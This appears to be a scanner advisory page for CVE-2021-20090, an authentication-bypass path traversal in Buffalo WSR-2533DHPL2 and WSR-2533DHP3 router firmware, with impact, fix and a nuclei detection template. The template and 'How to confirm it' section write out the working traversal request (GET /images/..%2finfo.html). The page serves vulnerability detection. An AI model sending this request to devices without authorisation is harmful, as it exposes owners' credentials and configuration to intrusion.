Buffalo WSR-2533DHPL2 - Path Traversal

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.

Impact

An attacker can exploit this vulnerability to read sensitive files, such as configuration files, credentials, or other sensitive information.

Fix

Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability.

How to confirm it

Send: GET /images/..%2finfo.html
Positive when: contains "URLToken(cgi_path)" and "pppoe" and "wan" AND status 200

Run it with nuclei: nuclei -id CVE-2021-20090 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-20090

info:
  name: Buffalo WSR-2533DHPL2 - Path Traversal
  author: gy741
  severity: critical
  description: |
    Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, such as configuration files, credentials, or other sensitive information.
  remediation: |
    Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2021-13
    - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20090
    - https://www.kb.cert.org/vuls/id/914124
    - https://www.secpod.com/blog/arcadyan-based-routers-and-modems-under-active-exploitation/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20090
    cwe-id: CWE-22
    epss-score: 0.99983
    epss-percentile: 0.99982
    cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: buffalo
    product: wsr-2533dhpl2-bk_firmware
  tags: cve,cve2021,lfi,buffalo,firmware,iot,kev,tenable,vkev,vuln

http:
  - raw:
      - |
        GET /images/..%2finfo.html HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/info.html

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'URLToken(cgi_path)'
          - 'pppoe'
          - 'wan'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from